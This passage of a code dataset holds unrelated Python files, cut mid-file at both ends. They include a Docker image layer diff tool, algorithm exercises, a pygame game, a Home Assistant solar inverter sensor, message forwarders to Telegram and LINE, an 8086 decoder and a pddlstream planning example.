logger.debug(f'keeped layer hashes {keeped_set}')\n    if status == 2:\n        # export all to tar.gz\n        image_path : Path = get_tar_path(image_name, TarCategory.DIFF)\n        logger.info(f'{reason}, save all to {image_path}')\n        p = run_process(f'docker save -o {image_path} {image_name}')\n        if p.returncode != 0:\n            raise RuntimeError(p.stderr)\n        with tar_open(image_path.with_suffix('.tar.gz'), 'w:gz') as tar_out, tar_open(image_path) as tar_inpt:\n            tar_out.addfile(*get_tarinfo('keeped.json', json.dumps(list(keeped_set))))\n            for member in tar_inpt.getmembers():\n                tar_out.addfile(member, tar_inpt.extractfile(member))\n        os.unlink(image_path)\n        image_path = image_path.with_suffix('.tar.gz') \n\n    elif status == 1:\n        image_path = get_tar_path(image_name, TarCategory.DIFF, True)\n        logger.info(f'{reason}, save stub to {image_path}')\n        with tar_open(image_path, 'w:gz') as tar_file:\n            tar_file.addfile(* get_tarinfo('keeped.json', json.dumps(list(keeped_set))))\n    else:\n        temp_tar_file = tempfile.mktemp()\n        p = run_process(f'docker save -o {temp_tar_file} {image_name}')\n        if p.returncode != 0:\n            raise RuntimeError(p.stderr)\n        \n        new_docker_archive = DockerArchive(temp_tar_file)\n        diff_layer_hash = []\n        keeped_layer = {} # hash-position key pair\n        for i, layer_hash in enumerate(new_docker_archive.layer_hashes):\n            if layer_hash in keeped_set:\n                keeped_layer[layer_hash] = i\n            else:\n                diff_layer_hash.append(layer_hash)\n\n        diff_layer_paths = new_docker_archive.get_layers_from_hashes(diff_layer_hash)\n\n        image_path = get_tar_path(image_name, TarCategory.DIFF, True)\n        logger.debug(f'save to {image_path}')\n        with tar_open(image_path, 'w:gz') as diff_tar:\n            for diff_layer_files in diff_layer_paths:\n                for layer_path, arcname in diff_layer_files:\n                    diff_tar.add(layer_path, arcname=arcname)\n            \n            for meta_file, arcname in new_docker_archive.meta_files:\n                diff_tar.add(meta_file, arcname)\n\n            diff_tar.addfile(*get_tarinfo('keeped.json', json.dumps(keeped_layer)))\n        os.unlink(temp_tar_file)\n    return image_path\n      \n\ndef import_docker_diff(image_name:str, input_dir: Optional[str]=None) -> Union[Path,str]:\n    \"\"\" update docker images with supplied layers \"\"\"\n    if input_dir:\n        set_current_dir(input_dir)\n\n    diff_image_path = get_tar_path(image_name, 'diff', True)\n    if not diff_image_path.exists():\n        raise RuntimeError(f'no file find : {diff_image_path}')\n    base_manifest = get_manifest_json(image_name)\n    base_manifest_archive = DockerManifest(base_manifest)\n    if not base_manifest.exists():\n        raise RuntimeError(f'base mainfest not find: {base_manifest}')\n    curr_layer_hashes = get_running_image_hashes(image_name)\n    res,reason, keeped_set = pre_check(base_manifest_archive.layer_hashes, curr_layer_hashes)\n    if res !=1:\n        raise RuntimeError(f'current running is not equal to base manifest which \\\n            used to extract diff layers\\nbase:\\t{base_manifest_archive.layer_hashes}\\n\\\n            current running:\\t {curr_layer_hashes}')\n\n    base_fd, base_image_path = tempfile.mkstemp(suffix='')\n    # close it first, on windows not permit to access\n    os.close(base_fd)\n    p = run_process(f'docker save -o {base_image_path} {image_name}')\n    if p.returncode !=0:\n        raise RuntimeError(p.stderr)\n    temp_fd, temp_image_path = tempfile.mkstemp(suffix='')\n    os.close(temp_fd)\n\n    base_image_archive = DockerArchive(base_image_path)\n    \n    with tar_open(diff_image_path) as diff_image_tar, tar_open(temp_image_path, 'w') as temp_image_tar:\n        # rm meta info\n        for member in diff_image_tar:\n            if member.name not in ('keeped.json', 'manifest.json'):\n                temp_image_tar.addfile(member, diff_image_tar.extractfile(member))\n        keeped_file = diff_image_tar.extractfile('keeped.json')\n\n        if keeped_file:\n            keeped_layers = json.load(keeped_file)\n            manifests= json.load(diff_image_tar.extractfile('manifest.json'))\n            curr_manifest = manifests[0]\n            for layer_hash, position in keeped_layers.items():\n                for file_path, arcname in base_image_archive.get_layer_from_hash(layer_hash) :\n                    temp_image_tar.add(file_path, arcname)\n                    curr_manifest['Layers'][position] = arcname\n\n            temp_image_tar.addfile(*get_tarinfo('manifest.json', json.dumps(manifests)))\n        else:\n            temp_image_tar.addfile(diff_image_tar.getmember('manifest.json'), diff_image_tar.extractfile('manifest.json'))\n    logger.info(f'build tar file at {temp_image_path}')\n    return temp_image_path\n","repo_name":"gufengxiaoyuehan/offline_trans","sub_path":"offline_trans/docker_transport.py","file_name":"docker_transport.py","file_ext":"py","file_size_in_byte":6791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28161093789","text":"import heapq \nimport time\n\nclass Worker:\n    \"\"\"\n    Implementing class worker; \n    The workers with lower release time have higher priority. \n    If the release time are same for two workers, their priority is based \n    on their thread id\n    \"\"\"\n    def __init__(self, thread_id, release_time=0):\n        ## thread_id --> int        id of current thread\n        ## release_time -->         release time for current thread\n        self.thread_id = thread_id\n        self.release_time = release_time\n\n    def __lt__(self,other):\n        \"\"\"\n        Here we are overloading the '<' operator to make comparison between two worker objects.\n        If the release time for calling object is less than the other, this returns True else false\n\n        If the release time are same, the same operation is done on thread id\n        \"\"\"\n\n        if self.release_time == other.release_time:\n            return self.thread_id < other.thread_id\n        return self.release_time < other.release_time\n\n    def __gt__(self, other): \n        \"\"\"Here we are overloading the '>' operator to make comparison between two worker objects. \n        If the release time for calling object is greater than the other, this returns True else False \n\n        If the release time are same, the same operation is don on thread id\n        \"\"\"\n        if self.release_time == other.release_time: \n            return self.thread_id > other.thread_id\n        return self.release_time > other.release_time\n\nclass JQ:\n    \"\"\"\n    Implementing the job queue class:\n    This class implements all the functions necessary to implement the \n    processing jobs in parallel task. \n    \"\"\"\n    \n    def read_data(self): \n        #take input data\n        self.n_workers, self.n_jobs = map(int, input().split())\n        self.jobs_list = list(map(int, input().split()))\n        self.size = len(self.jobs_list)\n        assert self.n_jobs == self.size\n\n    def display_output(self):\n        #take values from self.result and display them as output\n        for id, time in self.out: \n            print(id,time)\n\n    def fast_assign_jobs(self):\n        \"\"\"\n        This function implements the assign job task \n        Here we will put n workers in a heap queue (which is basically implemented as a list)\n        See https://realpython.com/python-heapq-module/ for more details on this \n        \n        Then we iterate over the jobs in hand; assign different workers according to their priority\n        then store their (id, release_time) as tuple in the output list. \n\n        This will be later used to display the output of the program \n        \"\"\"\n        #Initializing the worker list\n        self.workers = []\n\n        #Creating a n_workers instances of Worker class\n        for i in range(self.n_workers):\n            self.workers.append(Worker(i))\n        #Initializing the output list\n        self.out = []\n\n        #Looping through the jobs in hand\n        for job in self.jobs_list:\n            #getting the current worker from the heap queue (one with max priority)\n            current_worker = heapq.heappop(self.workers)\n            #append the current worker's id and release time in the output list \n            self.out.append((current_worker.thread_id, current_worker.release_time))\n            #update the release_time of the current worker\n            current_worker.release_time += job\n            #put the current worker back in the workers list with updated release time\n            heapq.heappush(self.workers,current_worker)\n\n    def run(self):\n        \"\"\"Run function for implementing the jobs queue problem\"\"\"\n        \n        self.read_data()\n        self.fast_assign_jobs()\n        self.display_output()\n\n\n\nif __name__ == \"__main__\":\n    start = time.time()\n    job_q = JQ()\n    job_q.run()\n    end = time.time()\n    \n    print(end - start)","repo_name":"davey-1/UCSDX-ALGS201x---Data-Structures-Fundamentals","sub_path":"week2_priority_queues_and_disjoint_sets/2_job_queue/assign_jobs.py","file_name":"assign_jobs.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70404441961","text":"import re\n\ndef parse(soup):\n    ingredients_html = soup.find_all(name='div', attrs={\n        'class': 'sqs-block-content'\n    })\n\n    for item in ingredients_html:\n        if search_descendants(item):\n            ingredients_div = item\n            break\n    \n    ingredient_lists = ingredients_div.find_all(name='ul')\n\n    all_ingredients = []\n\n    for list in ingredient_lists:\n        ingredients = list.find_all(name='li')\n        all_ingredients += [ingredient.text.replace('\\xa0', ' ').strip() for ingredient in ingredients]\n\n    return all_ingredients\n\ndef search_descendants(soup):\n    for child in soup.descendants:\n        if 'Ingredients' in child:\n            return True\n    return False","repo_name":"Aveline-art/penrose-sweets","sub_path":"RecipeParsers/bingingwithbabish.py","file_name":"bingingwithbabish.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4617726979","text":"import pygame\r\nimport random\r\nimport sys\r\n\r\npygame.init()\r\n\r\n# Configurações da tela\r\nSCREEN_WIDTH = 400\r\nSCREEN_HEIGHT = 600\r\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\r\npygame.display.set_caption(\"Jogo Simples com Pygame\")\r\n\r\nWHITE = (255, 255, 255)\r\nRED = (255, 0, 0)\r\n\r\n# Configurações do jogador\r\nplayer_width = 50\r\nplayer_height = 50\r\nplayer_x = (SCREEN_WIDTH - player_width) // 2\r\nplayer_y = SCREEN_HEIGHT - player_height\r\nplayer_speed = 5\r\n\r\n# Configurações dos obstáculos\r\nobstacle_width = 50\r\nobstacle_height = 50\r\nobstacle_x = random.randint(0, SCREEN_WIDTH - obstacle_width)\r\nobstacle_y = 0\r\nobstacle_speed = 3\r\n\r\n# Variável para controlar o estado do jogo\r\ngame_over = False\r\n\r\n# Variável para controlar o aumento de velocidade dos obstáculos\r\nobstacle_speed_increase = 0.1\r\n\r\n# Loop principal do jogo\r\nwhile not game_over:\r\n    for event in pygame.event.get():\r\n        if event.type == pygame.QUIT:\r\n            pygame.quit()\r\n            sys.exit()\r\n\r\n    keys = pygame.key.get_pressed()\r\n    if keys[pygame.K_LEFT]: player_x -= player_speed\r\n    if keys[pygame.K_RIGHT]: player_x += player_speed\r\n\r\n    # Atualize a posição do obstáculo\r\n    obstacle_y += obstacle_speed\r\n\r\n    # Verifique se o obstáculo saiu da tela\r\n    if obstacle_y > SCREEN_HEIGHT:\r\n        obstacle_x = random.randint(0, SCREEN_WIDTH - obstacle_width)\r\n        obstacle_y = 0\r\n        obstacle_speed += obstacle_speed_increase\r\n\r\n    # Verifique a colisão entre o jogador e o obstáculo\r\n    if (\r\n        player_x < obstacle_x + obstacle_width and player_x + player_width > obstacle_x\r\n        and player_y < obstacle_y + obstacle_height and player_y + player_height > obstacle_y\r\n    ):\r\n        game_over = True\r\n\r\n    screen.fill(WHITE)\r\n\r\n    pygame.draw.rect(screen, RED, (player_x, player_y, player_width, player_height))\r\n    pygame.draw.rect(screen, RED, (obstacle_x, obstacle_y, obstacle_width, obstacle_height))\r\n\r\n    pygame.display.update()\r\n\r\n    pygame.time.Clock().tick(60)\r\n\r\npygame.quit()\r\nsys.exit()\r\n\r\n","repo_name":"juliocmarques/jogospython","sub_path":"obstaculos.py","file_name":"obstaculos.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37586017371","text":"\"\"\"\nSolis Solar interface for Home Assistant\nThis component offers Solis portal data as a sensor.\n\nFor more information: https://github.com/hultenvp/solis-sensor/\n\"\"\"\nfrom __future__ import annotations\n\nfrom datetime import datetime\nimport logging\nfrom typing import Any\nimport voluptuous as vol\n\nfrom homeassistant.core import HomeAssistant, callback\nfrom homeassistant.components.sensor import (\n    PLATFORM_SCHEMA,\n    SensorEntity,\n)\nfrom homeassistant.const import (\n    CONF_NAME,\n)\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.typing import ConfigType, DiscoveryInfoType\nfrom .const import (\n    CONF_PORTAL_DOMAIN,\n    CONF_USERNAME,\n    CONF_PASSWORD,\n    CONF_SECRET,\n    CONF_KEY_ID,\n    CONF_PLANT_ID,\n    CONF_INVERTER_SERIAL,\n    CONF_SENSORS,\n    SENSOR_PREFIX,\n    DEFAULT_DOMAIN,\n    SENSOR_TYPES,\n)\n\nfrom .service import (ServiceSubscriber, InverterService)\nfrom .ginlong_base import PortalConfig\nfrom .ginlong_api import GinlongConfig\nfrom .soliscloud_api import SoliscloudConfig\n\n_LOGGER = logging.getLogger(__name__)\n\n# VERSION\nVERSION = '2.1.0'\n\nLAST_UPDATED = 'Last updated'\nSERIAL = 'Inverter serial'\n\nEMPTY_ATTR: dict[str, Any] = {\n    LAST_UPDATED: None,\n    SERIAL: None,\n}\n\ndef _check_config_schema(conf: ConfigType):\n    \"\"\"Check if the sensors and attributes are valid.\"\"\"\n    if CONF_SENSORS in conf.keys():\n        _LOGGER.warning(\"Deprecated platform configuration, please move to the new configuration\")\n        if conf[CONF_INVERTER_SERIAL] == '':\n            raise vol.Invalid('inverter_serial required in config when sensors are specified')\n\n        for sensor, attrs in conf[CONF_SENSORS].items():\n            if sensor not in SENSOR_TYPES:\n                raise vol.Invalid('sensor {} does not exist'.format(sensor))\n            for attr in attrs:\n                if attr not in SENSOR_TYPES:\n                    raise vol.Invalid('attribute sensor {} does not \\\n                        exist [{}]'.format(attr, sensor))\n    else:\n        if conf[CONF_INVERTER_SERIAL] != '':\n            _LOGGER.warning(\"Using new config schema, ignoring inverter_serial\")\n    return conf\n\nPLATFORM_SCHEMA = vol.All(PLATFORM_SCHEMA.extend({\n    vol.Optional(CONF_NAME, default=SENSOR_PREFIX): cv.string,\n    vol.Optional(CONF_PORTAL_DOMAIN, default=DEFAULT_DOMAIN): cv.string,\n    vol.Required(CONF_USERNAME , default=None): cv.string,\n    vol.Optional(CONF_PASSWORD , default=''): cv.string,\n    vol.Optional(CONF_SECRET , default='00'): cv.string,\n    vol.Optional(CONF_KEY_ID , default=''): cv.string,\n    vol.Required(CONF_PLANT_ID, default=None): cv.positive_int,\n    vol.Optional(CONF_INVERTER_SERIAL, default=''): cv.string,\n    vol.Optional(CONF_SENSORS): vol.Schema({cv.slug: cv.ensure_list}),\n}, extra=vol.PREVENT_EXTRA), _check_config_schema)\n\ndef create_sensors(sensors: dict[str, list[str]],\n        inverter_service: InverterService,\n        inverter_name: str\n    ) -> list[SolisSensor]:\n    \"\"\" Create the sensors.\"\"\"\n    hass_sensors = []\n    for inverter_sn in sensors:\n        for sensor_type in sensors[inverter_sn]:\n            _LOGGER.debug(\"Creating %s (%s)\", sensor_type, inverter_sn)\n            hass_sensors.append(SolisSensor(inverter_service, inverter_name,\n                inverter_sn, sensor_type))\n    return hass_sensors\n\ndef create_sensors_legacy(\n        config: ConfigType,\n        inverter_service: InverterService,\n        inverter_name: str,\n        inverter_sn: str\n    ) -> list[SolisSensor]:\n    \"\"\"Legacy for old config schema.\"\"\"\n    hass_sensors = []\n    for sensor_type, subtypes in config[CONF_SENSORS].items():\n        _LOGGER.debug(\"Creating %s sensor: %s\", inverter_name, sensor_type)\n        hass_sensors.append(SolisSensor(inverter_service, inverter_name,\n            inverter_sn, sensor_type))\n    return hass_sensors\n\nasync def async_setup_platform(\n        hass: HomeAssistant,\n        config: ConfigType,\n        async_add_entities: AddEntitiesCallback,\n        discovery_info: DiscoveryInfoType | None = None) -> None:\n    \"\"\"Set up Solis platform.\"\"\"\n\n    inverter_name = config.get(CONF_NAME)\n    portal_domain = config.get(CONF_PORTAL_DOMAIN)\n    portal_username = config.get(CONF_USERNAME)\n    portal_password = config.get(CONF_PASSWORD)\n    portal_key_id = config.get(CONF_KEY_ID)\n    portal_secret: bytes = bytes(config.get(CONF_SECRET), 'utf-8')\n    portal_plantid = config.get(CONF_PLANT_ID)\n    inverter_sn = config.get(CONF_INVERTER_SERIAL)\n\n    # Check input configuration.\n    if portal_domain is None:\n        raise vol.Invalid('configuration parameter [portal_domain] does not have a value')\n    if portal_domain[:4] == 'http':\n        raise vol.Invalid('leave http(s):// out of configuration parameter [portal_domain]')\n    if portal_username is None:\n        raise vol.Invalid('configuration parameter [portal_username] does not have a value')\n    portal_config: PortalConfig | None = None\n    if portal_password != '':\n        portal_config = GinlongConfig(\n            portal_domain, portal_username, portal_password, portal_plantid)\n    elif portal_key_id != '' and portal_secret != b'\\x00':\n        portal_config = SoliscloudConfig(\n            portal_domain, portal_username, portal_key_id, portal_secret, portal_plantid)\n    else:\n        raise vol.Invalid('Please specify either[portal_password] or [portal_key_id] & [portal_secret]')\n    if portal_plantid is None:\n        raise vol.Invalid('Configuration parameter [portal_plantid] does not have a value')\n\n    # Initialize the Ginlong data service.\n    service: InverterService = InverterService(portal_config, hass)\n\n    # Prepare the sensor entities.\n    hass_sensors: list[SolisSensor] = []\n\n    if CONF_SENSORS in config.keys():\n        # Old config schema\n        hass_sensors = create_sensors_legacy(config, service, inverter_name, inverter_sn)\n        async_add_entities(hass_sensors)\n\n        # schedule the first update in 1 minute from now:\n        service.schedule_update(1)\n    else:\n        cookie: dict[str, Any] = {\n            'name': inverter_name,\n            'service': service,\n            'async_add_entities' : async_add_entities\n        }\n        # Will retry endlessly to discover\n        _LOGGER.info(\"Scheduling discovery\")\n        service.schedule_discovery(on_discovered, cookie, 1)\n\n@callback\ndef on_discovered(capabilities, cookie):\n    \"\"\" Callback when discovery was successful.\"\"\"\n    discovered_sensors: dict[str, list]= {}\n    for inverter_sn in capabilities:\n        for sensor in SENSOR_TYPES.keys():\n            if SENSOR_TYPES[sensor][5] in capabilities[inverter_sn]:\n                if inverter_sn not in discovered_sensors:\n                    discovered_sensors[inverter_sn] = list()\n                discovered_sensors[inverter_sn].append(sensor)\n    if not discovered_sensors:\n        _LOGGER.warning(\"No sensors detected, nothing to register\")\n\n    # Create the sensors\n    hass_sensors = create_sensors(discovered_sensors, cookie['service'], cookie['name'])\n    cookie['async_add_entities'](hass_sensors)\n    # schedule the first update in 1 minute from now:\n    cookie['service'].schedule_update(1)\n\nclass SolisSensor(ServiceSubscriber, SensorEntity):\n    \"\"\" Representation of a Solis sensor. \"\"\"\n\n    def __init__(self,\n            ginlong_service: InverterService,\n            inverter_name: str,\n            inverter_sn: str,\n            sensor_type: str\n        ):\n        # Initialize the sensor.\n        self._measured: datetime | None = None\n        self._attributes = EMPTY_ATTR\n        self._attributes[SERIAL] = inverter_sn\n        # Properties\n        self._icon = SENSOR_TYPES[sensor_type][2]\n        self._name = inverter_name + ' ' + SENSOR_TYPES[sensor_type][0]\n        self._attr_native_value = None\n        self._attr_native_unit_of_measurement = SENSOR_TYPES[sensor_type][1]\n        self._attr_device_class = SENSOR_TYPES[sensor_type][3]\n        self._attr_state_class = SENSOR_TYPES[sensor_type][4]\n        self._attr_unique_id = f\"{inverter_sn}{self._name}\".replace(\" \", \"_\")\n        ginlong_service.subscribe(self, inverter_sn, SENSOR_TYPES[sensor_type][5])\n\n    def do_update(self, value: Any, last_updated: datetime) -> bool:\n        \"\"\" Update the sensor.\"\"\"\n        if self.hass and self._attr_native_value != value:\n            self._attr_native_value = value\n            self._attributes[LAST_UPDATED] = last_updated\n            self.async_write_ha_state()\n            return True\n        return False\n\n    @property\n    def icon(self):\n        \"\"\" Return the icon of the sensor. \"\"\"\n        return self._icon\n\n    @property\n    def name(self):\n        \"\"\" Return the name of the sensor. \"\"\"\n        return self._name\n\n    @property\n    def should_poll(self):\n        \"\"\"No polling needed.\"\"\"\n        return False\n\n    @property\n    def extra_state_attributes(self):\n        \"\"\"Return entity specific state attributes.\"\"\"\n        return self._attributes\n","repo_name":"HomeAutoUK01/solis-sensor","sub_path":"custom_components/solis/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":8989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"22531139164","text":"import itchat\nimport itchat.content\nimport requests\nimport json\n\nwith open('data.json','r')as f:\n    dt=f.read()\ndata=json.loads(dt)\ntoken=data['token']\nmy_id=data['my_id']\nqr=data['qr']\n\ndef replay_tg(my_id,token,msg):\n    try:\n        text='来自用户: '+msg['FromUserName']+' - 备注: '+msg['User']['RemarkName']+'\\n发送给用户: '+msg['ToUserName']+'\\n的内容: '+msg['Text']\n    except KeyError:\n        text='来自: 你自己\\n发送给用户: '+msg['ToUserName']+'\\n的内容: '+msg['Text']\n    params={'chat_id':my_id,'text':text}\n    requests.post(\"https://api.telegram.org/bot\"+token+\"/sendMessage\",params=params)\n\n@itchat.msg_register(itchat.content.TEXT)\ndef get_msg(msg):\n    global my_id\n    global token\n    replay_tg(my_id,token,msg)\n\nif qr=='y':\n    itchat.auto_login(hotReload=True,enableCmdQR=2)\nelse:\n    itchat.auto_login(hotReload=True)\nitchat.run()","repo_name":"wzk0/tg-wc","sub_path":"get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"17285039126","text":"# https://python-visualization.github.io/folium/\n'''\nCHALLENGES:\n1. Position the map so that it centers it on Northwestern’s campus.\n2. Zoom in and out\n3. Change the tiles: \n   https://python-graph-gallery.com/288-map-background-with-folium/\n4. Using the documentation, can you figure out how to add a \n   marker to the map?\n   https://python-visualization.github.io/folium/modules.html#module-folium.folium \n'''\nimport folium\nimport helpers\n\n\nfolium_map = folium.Map(\n    location=[42.004583, -87.661406],\n    zoom_start=13,\n    tiles=\"Stamen toner\"   # Switch to \"Stamen watercolor\" or \"Stamen terrain\"\n)\n\nprint('generating the map file...')\nfile_name = 'map_no_data.html'\nfile_path = helpers.get_file_path(file_name, subdirectory='results')\nfolium_map.save(file_path)","repo_name":"eecs110/winter2019","sub_path":"course-files/lectures/lecture_17/05_make_a_map.py","file_name":"05_make_a_map.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"73085724201","text":"import pathlib\nimport sys\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Iterator\n\n\nDATA_PATH = \"data/part1\"\n\n\nOPCODE = {\n    \"100010\": \"mov\",\n}\n\n\nclass UnsupportedOpcodeException(Exception):\n    ...\n\n\nclass Reg(Enum):\n    AL = \"al\"\n    AX = \"ax\"\n    AH = \"ah\"\n    BL = \"bl\"\n    BX = \"bx\"\n    BH = \"bh\"\n    BP = \"bp\"\n    CL = \"cl\"\n    CX = \"cx\"\n    CH = \"ch\"\n    DL = \"dl\"\n    DX = \"dx\"\n    DH = \"dh\"\n    DI = \"di\"\n    SI = \"si\"\n    SP = \"sp\"\n\n    def __str__(self):\n        return self.value\n\n\ndef _map_reg(bitfield: int, W: int):\n    reg_mapping = {\n        \"000\": Reg.AX if W else Reg.AL,\n        \"001\": Reg.CX if W else Reg.CL,\n        \"010\": Reg.DX if W else Reg.DL,\n        \"011\": Reg.BX if W else Reg.BL,\n        \"100\": Reg.SP if W else Reg.AH,\n        \"101\": Reg.BP if W else Reg.CH,\n        \"110\": Reg.SI if W else Reg.DH,\n        \"111\": Reg.DI if W else Reg.BH,\n    }\n    return reg_mapping[format(bitfield, \"b\").zfill(3)]\n    \n\ndef bitmask(bitmask_str: str) -> int:\n    return int(bitmask_str, base=2)\n\n\ndef _is_one_byte_instruction(byte):\n    return False\n\n\ndef bitwise_op(byte: int, shift: int, mask: int = None):\n    mask = mask or 2**8 - 1\n    return byte >> shift & mask\n\n\nclass Instruction:\n    def __init__(self, first_byte, second_byte):\n        self.opcode = bitwise_op(first_byte, 2)\n        self.D = bitwise_op(first_byte, 1, bitmask(\"1\"))\n        self.W = bitwise_op(first_byte, 0, bitmask(\"1\"))\n        self.MOD = bitwise_op(second_byte, 6, bitmask(\"11\"))\n        self.REG = bitwise_op(second_byte, 3, bitmask(\"111\"))\n        self.RM = bitwise_op(second_byte, 0, bitmask(\"111\"))\n\n        try:\n            self.name = OPCODE.get(format(self.opcode, \"b\"))\n        except ValueError:\n            raise UnsupportedOpcodeException(f\"opcode {self.opcode} not yet supported\")\n\n        self.src_op = _map_reg(self.REG, self.W) if self.D == 0 else _map_reg(self.RM, self.W)\n        self.dst_op = _map_reg(self.RM, self.W) if self.D == 0 else _map_reg(self.REG, self.W)\n\n    def __str__(self):\n        return f\"{self.name} {self.dst_op}, {self.src_op}\"\n\n\ndef decode_bytes(byte_stream: Iterator[bytes]):\n    result = []\n\n    for byte in byte_stream:\n        if _is_one_byte_instruction(byte):\n            # decode the one byte instruction, add to results\n            continue\n        next_byte = next(byte_stream)\n        ins = Instruction(byte, next_byte)\n        result.append(str(ins))\n\n    return result\n\n\ndef print_asm(decoded_instructions):\n    for instruction in decoded_instructions:\n        print(instruction)\n\n\ndef run(filepath: Path):\n    print_asm(decode_bytes(iter(filepath.read_bytes())))\n\n\nif __name__ == \"__main__\":\n    default = \"0038\"\n    filename = sys.argv[1] if len(sys.argv) > 1 else f\"listing_{default}_many_register_mov\"\n    file_path = pathlib.Path(f\"{DATA_PATH}/{filename}\")\n    if not file_path.exists():\n        print(\"Invalid input file\")\n        sys.exit(1)\n    run(file_path)\n","repo_name":"ldiv/performance-aware-programming","sub_path":"8086_decoder.py","file_name":"8086_decoder.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71841857961","text":"n,t = map(int, input().split())\ntest = [(0,0)]\ndp = [[0 for _ in range(10001)] for _ in range(101)]\n\nfor _ in range(n):\n    time, grade = map(int,input().split())\n    test.append((time,grade))\n\nfor i in range(1,n+1):\n    for j in range(1,t+1):\n        if j >= test[i][0]:\n            dp[i][j] = max(dp[i-1][j-test[i][0]] + test[i][1], dp[i-1][j])\n        else:\n            dp[i][j] = dp[i-1][j]\n\nprint(dp[n][t])\n\n\n","repo_name":"AlgoLive/AlgoLive_2023","sub_path":"2023 Spring/Week 4 DP II/14728_벼락치기/14728_안지완.py","file_name":"14728_안지완.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"6084783034","text":"# Author: @billalxcode\n# Created at: 11 Okt 2022\n\ndef find_max(data: list[int]):\n    m = data[0] # Mengambil data index ke-0\n    for row in data:\n        if row >= m:\n            m = row\n    return m\n\nif __name__ == \"__main__\":\n    data = [4, 2, 2, 5, 10, 3]\n    print (find_max(data))","repo_name":"akasakaid/your-program","sub_path":"programs/billalxcode/find_max.py","file_name":"find_max.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"18"}
{"seq_id":"18085887172","text":"\nimport tweepy\nimport time\nimport sys\nimport calendar\nimport requests\nimport time\nimport re\n\nclass Tweet_to_LINE:\n    def __init__(self, twitter_client, wait = 60 * 5):\n        self.twitter_client = twitter_client\n        self.wait = wait\n        self.twitter_api = tweepy.API(self.twitter_client, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, compression=True)\n        self.tweets = []\n\n    def get_tweets(self,id):\n        self.tweets.extend(self.twitter_api.user_timeline(id=id, count=15, include_rts=False, exclude_replies= True))\n        return Tweet_to_LINE_Trim(self)\n\n    def send(self, line_notify_token):\n        for tweets in self.tweets:\n            if time.time() < self.created_at(str(tweets.created_at)) + self.wait:\n                output = tweets.user.name + \"\\n\"\n                output += tweets.text + \"\\n\"\n                output += \"https://twitter.com/\" + tweets.user.screen_name + \"/status/\" + tweets.id_str\n                self.send_notify(output,line_notify_token)\n\n    def created_at(self,created):\n        time_utc = time.strptime(created, '%Y-%m-%d %H:%M:%S')\n        return calendar.timegm(time_utc)\n\n    def send_notify(self,notification_message,line_notify_token):\n        line_notify_api = 'https://notify-api.line.me/api/notify'\n        headers = {'Authorization': f'Bearer {line_notify_token}'}\n        data = {'message': f'{notification_message}'}\n        requests.post(line_notify_api, headers=headers, data=data)\n\n    def print(self):\n        for tweets in self.tweets:\n            if time.time() < self.created_at(str(tweets.created_at)) + self.wait:\n                print(tweets.text)\n\n\nclass Tweet_to_LINE_Trim:\n    \n    def __init__(self,tweets):\n        self.tweets = tweets\n\n    def trim(self,regex,flag):\n        output = []\n        for tweets in self.tweets.tweets:\n            if (re.search(regex, tweets.text) == None) == flag:\n                output.append(tweets)\n        self.tweets.tweets = output\n        return Tweet_to_LINE_Trim(self.tweets)\n\n\n","repo_name":"fa0311/Tweet_to_LINE","sub_path":"Tweet_to_LINE/Tweet_to_LINE.py","file_name":"Tweet_to_LINE.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41835391539","text":"#!/usr/bin/env python2.7\n\nfrom __future__ import print_function\n\nimport os\n\nfrom pddlstream.algorithms.search import solve_from_pddl\nfrom pddlstream.algorithms.focused import solve_focused\n\nfrom pddlstream.algorithms.incremental import solve_incremental\nfrom pddlstream.utils import read\nfrom pddlstream.language.constants import print_solution\n\n\ndef read_pddl(filename):\n    directory = os.path.dirname(os.path.abspath(__file__))\n    return read(os.path.join(directory, filename))\n\n##################################################\n\ndef solve_pddl():\n    domain_pddl = read_pddl('domain.pddl')\n    problem_pddl = read_pddl('problem.pddl')\n\n    plan, cost = solve_from_pddl(domain_pddl, problem_pddl)\n    print('Plan:', plan)\n    print('Cost:', cost)\n\n##################################################\n\ndef get_problem():\n    domain_pddl = read_pddl('domain.pddl')\n    constant_map = {}\n    stream_pddl = None\n    stream_map = {}\n\n    init = [\n        ('on-table', 'a'),\n        ('on', 'b', 'a'),\n        ('clear', 'b'),\n        ('arm-empty',),\n    ]\n    goal =  ('on', 'a', 'b')\n\n    return domain_pddl, constant_map, stream_pddl, stream_map, init, goal\n\ndef solve_pddlstream(focused=False):\n    pddlstream_problem = get_problem()\n    if focused:\n        solution = solve_focused(pddlstream_problem, unit_costs=True)\n    else:\n        solution = solve_incremental(pddlstream_problem, unit_costs=True, planner='cerberus', debug=False)\n    print_solution(solution)\n\n##################################################\n\ndef main():\n    #solve_pddl()\n    solve_pddlstream()\n\nif __name__ == '__main__':\n    